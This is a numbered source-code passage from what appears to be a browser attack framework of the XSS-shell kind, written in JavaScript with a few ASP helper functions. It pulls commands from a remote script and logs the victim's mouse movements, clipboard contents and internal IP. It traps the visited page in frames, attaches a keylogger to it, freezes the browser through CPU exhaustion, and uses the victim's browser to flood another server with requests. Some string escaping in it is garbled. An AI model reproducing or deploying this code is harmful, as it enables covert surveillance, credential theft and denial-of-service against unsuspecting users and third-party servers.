  940.     
  941.      clearJsLoadControl();            
  942.     }else{    
  943.         remoteTimer = window.setTimeout("remoteJsLoadControl('" + evalCallBack + "')", REMOTE_JS_CHECK_FREQ);
  944.         
  945.     }
  946.                 
  947.         
  948. }
  949. /*
  950.     DEPRECATED ?
  951. Clear remote js load controller timeout
  952. */
  953. function clearJsLoadControl(){
  954.     
  955.     clearTimeout(remoteTimer);
  956.     c = null; // For future requests
  957.     remoteTimer = null;
  958.     
  959. }
  960. /*
  961. DESCRIPTION;
  962. Dynamicly load remote JS file for getting new commands
  963. @src : Request URL
  964. @evalCallBack : Dirty Callback implementation, Function as String
  965. REMARK;
  966. HISTORY;
  967. 14/08/2006
  968. - Start
  969. */
  970. function loadJs(src) {
  971.   
  972.    // Possible problem with corrupted HTML pages or pages with no <head> tags
  973.    var head = d.getElementsByTagName("head")[0];
  974.    script = d.createElement('script');
  975.    script.id = REMOTE_SCRIPT_ID;
  976.    script.type = 'text/javascript';
  977.    script.src = src;
  978.    head.appendChild(script);
  979.    
  980.    debug("Remote JS DOM call started ...", 2);
  981.    
  982.  }
  983. /*
  984.     Get cursor coordinates
  985. */
  986. function fm_MXY(XorY){ // Mouse Coords
  987. var coord = 0;
  988. if(coord<0)coord=0;
  989. return coord;
  990. }
  991. /*
  992.     Function Log mouse positions
  993. */
  994. function logMouse(e){
  995. var coordX=coordY=0;
  996.     if(ie){
  997.         coordX = event.clientX + d.body.scrollLeft;
  998.         coordY = event.clientY + d.body.scrollTop;
  999.     }
  1000.     else
  1001.     {
  1002.         coordX = e.pageX + d.body.scrollLeft;
  1003.         coordY = e.pageY + d.body.scrollTop;
  1004.     }
  1005.     
  1006.     mouseLoggerData += coordX + "-" + coordY + ";";
  1007.     
  1008.     if(GET_SELF_EVERY_CLICK)
  1009.         processGivenCommand(new command(CMD_GETSELFHTML, "", BROADCAST_VICTIM));
  1010.     
  1011.     debug(coordX + " - " + coordY, 2);
  1012. }
  1013. /*
  1014.     Get clipboard data
  1015. */
  1016. function getClipboard(){
  1017.     if (!window.clipboardData)
  1018.       return "{NO BROWSER SUPPORT}";
  1019.              
  1020.     var txt = clipboardData.getData("Text");
  1021.       return (txt!=null)? txt : "{EMPTY}";
  1022. }
  1023. /*
  1024.     Code partially : 
  1025.         - http://f-box.org/~dan/ 
  1026.         - http://www.gnucitizen.org/projects/javascript-address-info/addressinfo.js
  1027. Get internal IP only supports Mozilla
  1028. */
  1029. function getInternalIP(){
  1030.         
  1031.         try{
  1032.             var sock = new java.net.Socket();
  1033.        sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  1034.         sock.connect(new java.net.InetSocketAddress(d.domain, (!d.location.port)?80:d.location.port));
  1035.      host = sock.getLocalAddress().getHostName();
  1036.         ip = sock.getLocalAddress().getHostAddress();
  1037.     
  1038.      return "Host:" + host + ";" + "IP:" + ip;            
  1039.         }
  1040.         catch(e){
  1041.             return "{NOT SUPPORTED}"
  1042.         }
  1043. }
  1044. /*
  1045. Regenerate current pages in frames !
  1046. */
  1047. function regenInFrames(){
  1048. addRegenFramesets();
  1049. }
  1050. /*
  1051. Add Iframe 
  1052. */
  1053. function addRegenIframe(){
  1054. cIframe = document.createElement("iframe");
  1055. cIframe.id = REGEN_IFRAME_ID;
  1056. cIframe.name = REGEN_IFRAME_ID;
  1057. cIframe.width = "100%";
  1058. cIframe.height = "100%";
  1059. cIframe.style.border = "none";
  1060. cIframe.style.padding = "0";
  1061. cIframe.style.margin = "0";
  1062. cIframe.frameBorder = "0";
  1063. document.body.appendChild(cIframe);
  1064. window.frames[REGEN_IFRAME_ID].document.location = THIS_SRC;
  1065. attachKeylogger(REGEN_IFRAME_ID);
  1066. }
  1067. /*
  1068. Regenerate current page in framesets with controller
  1069. */
  1070. function addRegenFramesets(){
  1071. // Load itself to controller
  1072. var jsME = "<script src=\"" + ME + "\"><\/script>";
  1073. // Build Frameset HTML
  1074. var tmpHtml  = "<scr"+"ipt>function ff(){var fd = document.getElementById("" + CONTROLLER_ID + "").contentWindow.document;";
  1075. tmpHtml += "fd.write("";
  1076. tmpHtml += "<h2>CONTROLLER<h2>" + jsME;
  1077. tmpHtml += "");";
  1078. // 0 Delayed load
  1079. tmpHtml += "nfd.close();n}window.setTimeout("ff()", 0);";
  1080. tmpHtml += "</scr"+"ipt>";
  1081. var frameval = (DEBUGLEVEL > 0)?"70":"100";
  1082. // Framesets
  1083. tmpHtml += "<frameset border="2" frameborder="1" framespacing="2" cols="" +  frameval + "%,*"><frame scrolling="auto" id="" + REGEN_IFRAME_ID + "" name="" + REGEN_IFRAME_ID + "" src="" + THIS_SRC + ""><frame scrolling="auto" id="" + CONTROLLER_ID + "" name="" + CONTROLLER_ID + ""></frameset>";
  1084. // Print
  1085. document.write(tmpHtml);
  1086. document.close();
  1087. }
  1088. /*
  1089. Attack keylogger to subframes
  1090. */
  1091. function attachKeylogger(frameID){
  1092. // BUG : Check the loaded one for if its our function
  1093. if(getDomain().onkeypress == null){
  1094. if(!d.all){
  1095. // Only FF
  1096. getDomain().onkeypress = function(e){
  1097. parent.window.frames[CONTROLLER_ID].document;logKeys(e);
  1098. };
  1099. debug("Keylogger attached to " + frameID, 1);
  1100. }else{ // IE
  1101. // Not working, i have no idea why...
  1102. debug("It's an IE and I couldn't figure out how to attach an function with event succesfully...", 2);
  1103. }
  1104. }else{
  1105. debug("Keylogger already attached to " + frameID, 2);
  1106. }
  1107. }
  1108. /*
  1109. Check title changes and apply 
  1110. This function constantly check for changes in sub iframe and update current document title
  1111. 16/08/2006
  1112. - Attach keylogger to new pages
  1113. */
  1114. function checkTitleChanges(){
  1115. // We are checking if its already attached or not we can not rely on title changes...
  1116. attachKeylogger(REGEN_IFRAME_ID);
  1117. try{
  1118. // Just changed
  1119. if(parent.document.title != getDomain().title){
  1120. parent.document.title = getDomain().title;
  1121. }
  1122. }catch(e){
  1123. debug("Possible permission denied error<br>" + e);
  1124. }
  1125. window.setTimeout("checkTitleChanges()", IFRAME_TITLE_FREQ);
  1126. }
  1127. /*
  1128. Consume CPU in all browsers in 1 seconds, generally without any "Stop Script" messagebox.
  1129. Not crashing browser but forcing victim to kill task...
  1130. */
  1131. function cmdCrash(){
  1132. var s="";
  1133. window.setTimeout("crash()", 10);
  1134. while(1){s=document.body.innerHTML+=s+=document.body.innerHTML;}
  1135. }
  1136. /*
  1137. DoS attack (only GET supported) to another web server or something.
  1138. Add x={RANDOM} or something to avoid caching.
  1139. */
  1140. var stopDoS = false;
  1141. function cmdDoS(url, force){
  1142. var df = getFrameCont(getDummyIframe());
  1143. for (var i=0;i<force ;i++ ){
  1144. if(stopDoS)return; // stop it gently
  1145. var mg = df.createElement('img');
  1146. mg.src = url.replace(RANDOM_INT, new Date().getMilliseconds()+i );
  1147. }
  1148. // wait and run again
  1149. waitAndCall("cmdDoS('" + url + "'," + force + ")", WAIT_AND_CALL);
  1150. }
  1151. <%
  1152. 'ASP HELPER FUNCTIONS
  1153. Function fm_QNStr(byVal Qstring)
  1154. Qstring = Trim(Request.Querystring(Qstring))
  1155. If NOT IsNumeric(Qstring) Then fm_QNStr = DefaultID Else fm_QNStr = Qstring
  1156. End Function
  1157. Function fm_RndNumeric()
  1158. Randomize Timer
  1159. fm_RndNumeric = CLng((Rnd*666139))+1
  1160. End Function
  1161. %>